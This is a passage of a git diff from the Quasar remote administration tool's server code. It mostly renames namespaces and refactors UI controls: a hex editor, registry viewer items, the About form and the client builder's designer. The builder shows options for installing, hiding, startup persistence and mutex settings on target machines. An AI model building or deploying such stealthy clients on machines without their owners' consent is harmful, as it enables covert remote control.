- builder.Append((char) new Random(Guid.NewGuid().GetHashCode()).Next(int.MinValue, int.MaxValue));
+ builder.Append((char)_random.Next(int.MinValue, int.MaxValue));
}
return builder.ToString();
diff --git a/Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs
similarity index 99%
rename from Server/Controls/DotNetBarTabControl.cs
rename to Quasar.Server/Controls/DotNetBarTabControl.cs
index 19e713ed6..21a33f89d 100644
--- a/Server/Controls/DotNetBarTabControl.cs
+++ b/Quasar.Server/Controls/DotNetBarTabControl.cs
@@ -5,7 +5,7 @@
// thanks to Mavamaarten~ for coding this
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
internal class DotNetBarTabControl : TabControl
{
diff --git a/Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs
similarity index 95%
rename from Server/Controls/HexEditor/ByteCollection.cs
rename to Quasar.Server/Controls/HexEditor/ByteCollection.cs
index a2e145d08..42e8249af 100644
--- a/Server/Controls/HexEditor/ByteCollection.cs
+++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs
@@ -1,9 +1,7 @@
using System;
using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class ByteCollection
{
diff --git a/Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs
similarity index 98%
rename from Server/Controls/HexEditor/Caret.cs
rename to Quasar.Server/Controls/HexEditor/Caret.cs
index 38fa26b73..ac83acd4d 100644
--- a/Server/Controls/HexEditor/Caret.cs
+++ b/Quasar.Server/Controls/HexEditor/Caret.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
using System.Runtime.InteropServices;
-using System.Text;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class Caret
{
diff --git a/Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs
similarity index 97%
rename from Server/Controls/HexEditor/EditView.cs
rename to Quasar.Server/Controls/HexEditor/EditView.cs
index fd222900b..586b9fc6f 100644
--- a/Server/Controls/HexEditor/EditView.cs
+++ b/Quasar.Server/Controls/HexEditor/EditView.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class EditView : IKeyMouseEventHandler
{
diff --git a/Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs
similarity index 99%
rename from Server/Controls/HexEditor/HexEditor.cs
rename to Quasar.Server/Controls/HexEditor/HexEditor.cs
index 882ba9308..fba34926e 100644
--- a/Server/Controls/HexEditor/HexEditor.cs
+++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs
@@ -1,12 +1,9 @@
using System;
-using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
/*
* Derived and Adapted from Bernhard Elbl
diff --git a/Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs
similarity index 99%
rename from Server/Controls/HexEditor/HexViewHandler.cs
rename to Quasar.Server/Controls/HexEditor/HexViewHandler.cs
index 3dcd0641f..cc57191fe 100644
--- a/Server/Controls/HexEditor/HexViewHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class HexViewHandler
{
diff --git a/Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
similarity index 80%
rename from Server/Controls/HexEditor/IKeyMouseEventHandler.cs
rename to Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
index eb01dba9f..7121208a6 100644
--- a/Server/Controls/HexEditor/IKeyMouseEventHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs
@@ -1,10 +1,7 @@
using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public interface IKeyMouseEventHandler
{
diff --git a/Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs
similarity index 99%
rename from Server/Controls/HexEditor/StringViewHandler.cs
rename to Quasar.Server/Controls/HexEditor/StringViewHandler.cs
index 4d1821e0e..125e133ee 100644
--- a/Server/Controls/HexEditor/StringViewHandler.cs
+++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs
@@ -1,11 +1,8 @@
using System;
-using System.Collections.Generic;
using System.Drawing;
-using System.Linq;
-using System.Text;
using System.Windows.Forms;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class StringViewHandler
{
diff --git a/Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs
similarity index 98%
rename from Server/Controls/InputBox.cs
rename to Quasar.Server/Controls/InputBox.cs
index d14724616..08df5b476 100644
--- a/Server/Controls/InputBox.cs
+++ b/Quasar.Server/Controls/InputBox.cs
@@ -2,7 +2,7 @@
using System.Drawing;
using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public static class InputBox
{
diff --git a/Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs
similarity index 94%
rename from Server/Controls/Line.cs
rename to Quasar.Server/Controls/Line.cs
index e149f0e0b..28aefa6c2 100644
--- a/Server/Controls/Line.cs
+++ b/Quasar.Server/Controls/Line.cs
@@ -1,7 +1,7 @@
using System.Drawing;
using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public class Line : Control
{
diff --git a/Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs
similarity index 82%
rename from Server/Controls/ListViewEx.cs
rename to Quasar.Server/Controls/ListViewEx.cs
index 81c11714b..c773adddb 100644
--- a/Server/Controls/ListViewEx.cs
+++ b/Quasar.Server/Controls/ListViewEx.cs
@@ -1,24 +1,25 @@
-using System;
+using Quasar.Common.Helpers;
+using Quasar.Server.Helper;
+using Quasar.Server.Utilities;
+using System;
using System.Windows.Forms;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
internal class AeroListView : ListView
{
private const uint WM_CHANGEUISTATE = 0x127;
- private const int UIS_SET = 1;
- private const int UISF_HIDEFOCUS = 0x1;
+ private const short UIS_SET = 1;
+ private const short UISF_HIDEFOCUS = 0x1;
+ private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS));
- private ListViewColumnSorter LvwColumnSorter { get; set; }
+ public ListViewColumnSorter LvwColumnSorter { get; set; }
///
/// Initializes a new instance of the class.
///
public AeroListView()
- : base()
{
SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
this.LvwColumnSorter = new ListViewColumnSorter();
@@ -46,8 +47,7 @@ protected override void OnHandleCreated(EventArgs e)
if (PlatformHelper.XpOrHigher)
{
// removes the ugly dotted line around focused item
- NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE,
- NativeMethodsHelper.MakeLong(UIS_SET, UISF_HIDEFOCUS), 0);
+ NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero);
}
}
@@ -75,7 +75,8 @@ protected override void OnColumnClick(ColumnClickEventArgs e)
}
// Perform the sort with these new sort options.
- this.Sort();
+ if (!this.VirtualMode)
+ this.Sort();
}
}
}
\ No newline at end of file
diff --git a/Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs
similarity index 96%
rename from Server/Controls/RapidPictureBox.cs
rename to Quasar.Server/Controls/RapidPictureBox.cs
index 2e7d17781..8d058966e 100644
--- a/Server/Controls/RapidPictureBox.cs
+++ b/Quasar.Server/Controls/RapidPictureBox.cs
@@ -2,9 +2,9 @@
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
-using xServer.Core.Utilities;
+using Quasar.Server.Utilities;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public interface IRapidPictureBox
{
@@ -104,8 +104,7 @@ public void Start()
///
public void Stop()
{
- if (_sWatch != null)
- _sWatch.Stop();
+ _sWatch?.Stop();
Running = false;
}
@@ -133,8 +132,7 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap)
GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp;
ResumeLayout();
- if (oldImage != null)
- oldImage.Dispose();
+ oldImage?.Dispose();
}
}
catch (InvalidOperationException)
diff --git a/Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs
similarity index 67%
rename from Server/Controls/RegistryTreeView.cs
rename to Quasar.Server/Controls/RegistryTreeView.cs
index 7bdbc12da..13aabd061 100644
--- a/Server/Controls/RegistryTreeView.cs
+++ b/Quasar.Server/Controls/RegistryTreeView.cs
@@ -1,14 +1,9 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Windows.Forms;
+using System.Windows.Forms;
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
public class RegistryTreeView : TreeView
{
-
public RegistryTreeView()
{
//Enable double buffering and ignore WM_ERASEBKGND to reduce flicker
diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs
new file mode 100644
index 000000000..050c133df
--- /dev/null
+++ b/Quasar.Server/Controls/RegistryValueLstItem.cs
@@ -0,0 +1,72 @@
+using System.Windows.Forms;
+using Quasar.Common.Models;
+using Quasar.Server.Extensions;
+using Quasar.Server.Registry;
+
+namespace Quasar.Server.Controls
+{
+ public class RegistryValueLstItem : ListViewItem
+ {
+ private string _type { get; set; }
+ private string _data { get; set; }
+
+ public string RegName {
+ get { return this.Name; }
+ set
+ {
+ this.Name = value;
+ this.Text = RegValueHelper.GetName(value);
+ }
+ }
+ public string Type {
+ get { return _type; }
+ set
+ {
+ _type = value;
+
+ if (this.SubItems.Count < 2)
+ this.SubItems.Add(_type);
+ else
+ this.SubItems[1].Text = _type;
+
+ this.ImageIndex = GetRegistryValueImgIndex(_type);
+ }
+ }
+
+ public string Data {
+ get { return _data; }
+ set
+ {
+ _data = value;
+
+ if (this.SubItems.Count < 3)
+ this.SubItems.Add(_data);
+ else
+ this.SubItems[2].Text = _data;
+ }
+ }
+
+ public RegistryValueLstItem(RegValueData value)
+ {
+ RegName = value.Name;
+ Type = value.Kind.RegistryTypeToString();
+ Data = RegValueHelper.RegistryValueToString(value);
+ }
+
+ private int GetRegistryValueImgIndex(string type)
+ {
+ switch (type)
+ {
+ case "REG_MULTI_SZ":
+ case "REG_SZ":
+ case "REG_EXPAND_SZ":
+ return 0;
+ case "REG_BINARY":
+ case "REG_DWORD":
+ case "REG_QWORD":
+ default:
+ return 1;
+ }
+ }
+ }
+}
diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs
new file mode 100644
index 000000000..21dc61de2
--- /dev/null
+++ b/Quasar.Server/Controls/WordTextBox.Designer.cs
@@ -0,0 +1,36 @@
+namespace Quasar.Server.Controls
+{
+ partial class WordTextBox
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Component Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ components = new System.ComponentModel.Container();
+ }
+
+ #endregion
+ }
+}
diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs
new file mode 100644
index 000000000..62a036840
--- /dev/null
+++ b/Quasar.Server/Controls/WordTextBox.cs
@@ -0,0 +1,171 @@
+using System;
+using System.Globalization;
+using System.Windows.Forms;
+using Quasar.Server.Enums;
+
+namespace Quasar.Server.Controls
+{
+ public partial class WordTextBox : TextBox
+ {
+ private bool isHexNumber;
+ private WordType type;
+
+ public override int MaxLength
+ {
+ get
+ {
+ return base.MaxLength;
+ }
+ set { }
+ }
+
+ public bool IsHexNumber
+ {
+ get { return isHexNumber; }
+ set
+ {
+ if (isHexNumber == value)
+ return;
+
+ if(value)
+ {
+ if (Type == WordType.DWORD)
+ Text = UIntValue.ToString("x");
+ else
+ Text = ULongValue.ToString("x");
+ }
+ else
+ {
+ if (Type == WordType.DWORD)
+ Text = UIntValue.ToString();
+ else
+ Text = ULongValue.ToString();
+ }
+
+ isHexNumber = value;
+
+ UpdateMaxLength();
+ }
+ }
+
+ public WordType Type
+ {
+ get { return type; }
+ set
+ {
+ if (type == value)
+ return;
+
+ type = value;
+
+ UpdateMaxLength();
+ }
+ }
+
+ public uint UIntValue
+ {
+ get
+ {
+ try
+ {
+ if (String.IsNullOrEmpty(Text))
+ return 0;
+ else if (IsHexNumber)
+ return UInt32.Parse(Text, NumberStyles.HexNumber);
+ else
+ return UInt32.Parse(Text);
+ }
+ catch (Exception)
+ {
+ return UInt32.MaxValue;
+ }
+ }
+ }
+
+ public ulong ULongValue
+ {
+ get
+ {
+ try
+ {
+ if (String.IsNullOrEmpty(Text))
+ return 0;
+ else if (IsHexNumber)
+ return UInt64.Parse(Text, NumberStyles.HexNumber);
+ else
+ return UInt64.Parse(Text);
+ }
+ catch (Exception)
+ {
+ return UInt64.MaxValue;
+ }
+ }
+ }
+
+ public bool IsConversionValid()
+ {
+ if (String.IsNullOrEmpty(Text))
+ return true;
+
+ if (!IsHexNumber)
+ {
+ return ConvertToHex();
+ }
+ return true;
+ }
+
+ public WordTextBox()
+ {
+ InitializeComponent();
+ base.MaxLength = 8;
+ }
+
+ protected override void OnKeyPress(KeyPressEventArgs e)
+ {
+ base.OnKeyPress(e);
+ e.Handled = !IsValidChar(e.KeyChar);
+ }
+
+ private bool IsValidChar(char ch)
+ {
+ return (Char.IsControl(ch) ||
+ Char.IsDigit(ch) ||
+ (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f'));
+ }
+
+ private void UpdateMaxLength()
+ {
+ if(Type == WordType.DWORD)
+ {
+ if (IsHexNumber)
+ base.MaxLength = 8;
+ else
+ base.MaxLength = 10;
+ }
+ else
+ {
+ if (IsHexNumber)
+ base.MaxLength = 16;
+ else
+ base.MaxLength = 20;
+ }
+ }
+
+
+ private bool ConvertToHex()
+ {
+ try
+ {
+ if (Type == WordType.DWORD)
+ UInt32.Parse(Text);
+ else
+ UInt64.Parse(Text);
+ return true;
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+ }
+ }
+}
diff --git a/Quasar.Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs
new file mode 100644
index 000000000..ba161bd7e
--- /dev/null
+++ b/Quasar.Server/Enums/TransferType.cs
@@ -0,0 +1,8 @@
+namespace Quasar.Server.Enums
+{
+ public enum TransferType
+ {
+ Upload,
+ Download
+ }
+}
diff --git a/Quasar.Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs
new file mode 100644
index 000000000..ee6cd1b0f
--- /dev/null
+++ b/Quasar.Server/Enums/WordType.cs
@@ -0,0 +1,8 @@
+namespace Quasar.Server.Enums
+{
+ public enum WordType
+ {
+ DWORD,
+ QWORD
+ }
+}
diff --git a/Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Extensions/ListViewExtensions.cs
similarity index 77%
rename from Server/Core/Extensions/ListViewExtensions.cs
rename to Quasar.Server/Extensions/ListViewExtensions.cs
index 6568bd0a9..5a718d544 100644
--- a/Server/Core/Extensions/ListViewExtensions.cs
+++ b/Quasar.Server/Extensions/ListViewExtensions.cs
@@ -1,13 +1,15 @@
-using System.Windows.Forms;
-using xServer.Core.Helper;
-using xServer.Core.Utilities;
+using Quasar.Common.Helpers;
+using Quasar.Server.Helper;
+using Quasar.Server.Utilities;
+using System;
+using System.Windows.Forms;
-namespace xServer.Core.Extensions
+namespace Quasar.Server.Extensions
{
public static class ListViewExtensions
{
private const uint SET_COLUMN_WIDTH = 4126;
- private const int AUTOSIZE_USEHEADER = -2;
+ private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2);
///
/// Automatically determines the correct column size on the the given listview.
@@ -18,7 +20,7 @@ public static void AutosizeColumns(this ListView targetListView)
if (PlatformHelper.RunningOnMono) return;
for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++)
{
- NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, lngColumn, AUTOSIZE_USEHEADER);
+ NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER);
}
}
diff --git a/Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Extensions/RegistryKeyExtensions.cs
similarity index 93%
rename from Server/Core/Extensions/RegistryKeyExtensions.cs
rename to Quasar.Server/Extensions/RegistryKeyExtensions.cs
index 7735bbe89..1baad3f0e 100644
--- a/Server/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Quasar.Server/Extensions/RegistryKeyExtensions.cs
@@ -1,15 +1,15 @@
-using Microsoft.Win32;
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
+using System;
+using Microsoft.Win32;
-namespace xServer.Core.Extensions
+namespace Quasar.Server.Extensions
{
public static class RegistryKeyExtensions
{
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
{
+ if (valueData == null)
+ return "(value not set)";
+
switch (valueKind)
{
case RegistryValueKind.Binary:
diff --git a/Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs
similarity index 90%
rename from Server/Forms/FrmAbout.Designer.cs
rename to Quasar.Server/Forms/FrmAbout.Designer.cs
index 83497ef0b..1c9301771 100644
--- a/Server/Forms/FrmAbout.Designer.cs
+++ b/Quasar.Server/Forms/FrmAbout.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmAbout
{
@@ -43,7 +43,7 @@ private void InitializeComponent()
//
// picIcon
//
- this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server;
+ this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server;
this.picIcon.Location = new System.Drawing.Point(12, 12);
this.picIcon.Name = "picIcon";
this.picIcon.Size = new System.Drawing.Size(64, 64);
@@ -64,7 +64,7 @@ private void InitializeComponent()
// lblVersion
//
this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.lblVersion.Location = new System.Drawing.Point(341, 40);
+ this.lblVersion.Location = new System.Drawing.Point(438, 41);
this.lblVersion.Name = "lblVersion";
this.lblVersion.Size = new System.Drawing.Size(75, 13);
this.lblVersion.TabIndex = 2;
@@ -74,7 +74,7 @@ private void InitializeComponent()
// btnOkay
//
this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.btnOkay.Location = new System.Drawing.Point(341, 319);
+ this.btnOkay.Location = new System.Drawing.Point(438, 370);
this.btnOkay.Name = "btnOkay";
this.btnOkay.Size = new System.Drawing.Size(75, 23);
this.btnOkay.TabIndex = 7;
@@ -84,11 +84,12 @@ private void InitializeComponent()
//
// rtxtContent
//
+ this.rtxtContent.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rtxtContent.Location = new System.Drawing.Point(15, 112);
this.rtxtContent.Name = "rtxtContent";
this.rtxtContent.ReadOnly = true;
this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical;
- this.rtxtContent.Size = new System.Drawing.Size(401, 201);
+ this.rtxtContent.Size = new System.Drawing.Size(498, 252);
this.rtxtContent.TabIndex = 6;
this.rtxtContent.Text = "";
//
@@ -105,23 +106,23 @@ private void InitializeComponent()
// lnkCredits
//
this.lnkCredits.AutoSize = true;
- this.lnkCredits.Location = new System.Drawing.Point(373, 80);
+ this.lnkCredits.Location = new System.Drawing.Point(415, 83);
this.lnkCredits.Name = "lnkCredits";
- this.lnkCredits.Size = new System.Drawing.Size(43, 13);
+ this.lnkCredits.Size = new System.Drawing.Size(97, 13);
this.lnkCredits.TabIndex = 4;
this.lnkCredits.TabStop = true;
- this.lnkCredits.Text = "Credits";
+ this.lnkCredits.Text = "3rd-party licenses";
this.lnkCredits.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkCredits_LinkClicked);
//
// lnkGithubPage
//
this.lnkGithubPage.AutoSize = true;
- this.lnkGithubPage.Location = new System.Drawing.Point(344, 60);
+ this.lnkGithubPage.Location = new System.Drawing.Point(441, 61);
this.lnkGithubPage.Name = "lnkGithubPage";
- this.lnkGithubPage.Size = new System.Drawing.Size(72, 13);
+ this.lnkGithubPage.Size = new System.Drawing.Size(73, 13);
this.lnkGithubPage.TabIndex = 3;
this.lnkGithubPage.TabStop = true;
- this.lnkGithubPage.Text = "GitHub Page";
+ this.lnkGithubPage.Text = "GitHub page";
this.lnkGithubPage.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkGithubPage_LinkClicked);
//
// lblSubTitle
@@ -130,17 +131,17 @@ private void InitializeComponent()
this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblSubTitle.Location = new System.Drawing.Point(84, 37);
this.lblSubTitle.Name = "lblSubTitle";
- this.lblSubTitle.Size = new System.Drawing.Size(171, 17);
+ this.lblSubTitle.Size = new System.Drawing.Size(170, 17);
this.lblSubTitle.TabIndex = 1;
this.lblSubTitle.Text = "Remote Administration Tool";
//
// FrmAbout
//
this.AcceptButton = this.btnOkay;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnOkay;
- this.ClientSize = new System.Drawing.Size(428, 354);
+ this.ClientSize = new System.Drawing.Size(525, 405);
this.Controls.Add(this.lblSubTitle);
this.Controls.Add(this.lnkGithubPage);
this.Controls.Add(this.lnkCredits);
diff --git a/Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs
similarity index 63%
rename from Server/Forms/FrmAbout.cs
rename to Quasar.Server/Forms/FrmAbout.cs
index 88a373050..104c1c2f0 100644
--- a/Server/Forms/FrmAbout.cs
+++ b/Quasar.Server/Forms/FrmAbout.cs
@@ -1,21 +1,22 @@
using System;
using System.Diagnostics;
using System.Windows.Forms;
-using xServer.Core.Data;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmAbout : Form
{
+ private readonly string _repositoryUrl = @"https://github.com/quasar/Quasar";
+
public FrmAbout()
{
InitializeComponent();
- lblVersion.Text = "v" + Application.ProductVersion;
- rtxtContent.Text = Properties.Resources.TermsOfUse;
+ lblVersion.Text = $"v{Application.ProductVersion}";
+ rtxtContent.Text = Properties.Resources.License;
- lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL });
- lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" });
+ lnkGithubPage.Links.Add(new LinkLabel.Link {LinkData = _repositoryUrl});
+ lnkCredits.Links.Add(new LinkLabel.Link {LinkData = _repositoryUrl + "/tree/master/Licenses"});
}
private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
@@ -35,4 +36,4 @@ private void btnOkay_Click(object sender, EventArgs e)
this.Close();
}
}
-}
\ No newline at end of file
+}
diff --git a/Server/Forms/FrmAbout.resx b/Quasar.Server/Forms/FrmAbout.resx
similarity index 100%
rename from Server/Forms/FrmAbout.resx
rename to Quasar.Server/Forms/FrmAbout.resx
diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs
similarity index 84%
rename from Server/Forms/FrmBuilder.Designer.cs
rename to Quasar.Server/Forms/FrmBuilder.Designer.cs
index de7de1d7c..8a36b2651 100644
--- a/Server/Forms/FrmBuilder.Designer.cs
+++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
{
partial class FrmBuilder
{
@@ -39,28 +41,29 @@ private void InitializeComponent()
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.builderTabs = new xServer.Controls.DotNetBarTabControl();
+ this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl();
this.generalPage = new System.Windows.Forms.TabPage();
+ this.label3 = new System.Windows.Forms.Label();
+ this.chkUnattendedMode = new System.Windows.Forms.CheckBox();
+ this.line2 = new Quasar.Server.Controls.Line();
+ this.label2 = new System.Windows.Forms.Label();
this.label9 = new System.Windows.Forms.Label();
- this.line6 = new xServer.Controls.Line();
+ this.line6 = new Quasar.Server.Controls.Line();
this.label8 = new System.Windows.Forms.Label();
this.txtTag = new System.Windows.Forms.TextBox();
this.label7 = new System.Windows.Forms.Label();
this.lblTag = new System.Windows.Forms.Label();
this.txtMutex = new System.Windows.Forms.TextBox();
this.btnMutex = new System.Windows.Forms.Button();
- this.line5 = new xServer.Controls.Line();
+ this.line5 = new Quasar.Server.Controls.Line();
this.lblMutex = new System.Windows.Forms.Label();
this.label6 = new System.Windows.Forms.Label();
this.connectionPage = new System.Windows.Forms.TabPage();
this.numericUpDownPort = new System.Windows.Forms.NumericUpDown();
this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown();
- this.line3 = new xServer.Controls.Line();
+ this.line3 = new Quasar.Server.Controls.Line();
this.label4 = new System.Windows.Forms.Label();
- this.label3 = new System.Windows.Forms.Label();
- this.line2 = new xServer.Controls.Line();
- this.label2 = new System.Windows.Forms.Label();
- this.line1 = new xServer.Controls.Line();
+ this.line1 = new Quasar.Server.Controls.Line();
this.label1 = new System.Windows.Forms.Label();
this.lstHosts = new System.Windows.Forms.ListBox();
this.btnAddHost = new System.Windows.Forms.Button();
@@ -69,37 +72,35 @@ private void InitializeComponent()
this.txtHost = new System.Windows.Forms.TextBox();
this.lblDelay = new System.Windows.Forms.Label();
this.lblPort = new System.Windows.Forms.Label();
- this.chkShowPass = new System.Windows.Forms.CheckBox();
- this.txtPassword = new System.Windows.Forms.TextBox();
- this.lblPassword = new System.Windows.Forms.Label();
this.installationPage = new System.Windows.Forms.TabPage();
- this.line7 = new xServer.Controls.Line();
+ this.chkHideSubDirectory = new System.Windows.Forms.CheckBox();
+ this.line7 = new Quasar.Server.Controls.Line();
this.label10 = new System.Windows.Forms.Label();
- this.line4 = new xServer.Controls.Line();
+ this.line4 = new Quasar.Server.Controls.Line();
this.label5 = new System.Windows.Forms.Label();
this.chkInstall = new System.Windows.Forms.CheckBox();
- this.lblInstallname = new System.Windows.Forms.Label();
- this.txtInstallname = new System.Windows.Forms.TextBox();
+ this.lblInstallName = new System.Windows.Forms.Label();
+ this.txtInstallName = new System.Windows.Forms.TextBox();
this.txtRegistryKeyName = new System.Windows.Forms.TextBox();
this.lblExtension = new System.Windows.Forms.Label();
this.lblRegistryKeyName = new System.Windows.Forms.Label();
this.chkStartup = new System.Windows.Forms.CheckBox();
this.rbAppdata = new System.Windows.Forms.RadioButton();
this.chkHide = new System.Windows.Forms.CheckBox();
- this.lblInstallpath = new System.Windows.Forms.Label();
- this.lblInstallsub = new System.Windows.Forms.Label();
+ this.lblInstallDirectory = new System.Windows.Forms.Label();
+ this.lblInstallSubDirectory = new System.Windows.Forms.Label();
this.lblPreviewPath = new System.Windows.Forms.Label();
- this.txtInstallsub = new System.Windows.Forms.TextBox();
+ this.txtInstallSubDirectory = new System.Windows.Forms.TextBox();
this.txtPreviewPath = new System.Windows.Forms.TextBox();
this.assemblyPage = new System.Windows.Forms.TabPage();
this.iconPreview = new System.Windows.Forms.PictureBox();
this.btnBrowseIcon = new System.Windows.Forms.Button();
this.txtIconPath = new System.Windows.Forms.TextBox();
- this.line8 = new xServer.Controls.Line();
+ this.line8 = new Quasar.Server.Controls.Line();
this.label11 = new System.Windows.Forms.Label();
this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox();
this.txtFileVersion = new System.Windows.Forms.TextBox();
- this.line9 = new xServer.Controls.Line();
+ this.line9 = new Quasar.Server.Controls.Line();
this.lblProductName = new System.Windows.Forms.Label();
this.label12 = new System.Windows.Forms.Label();
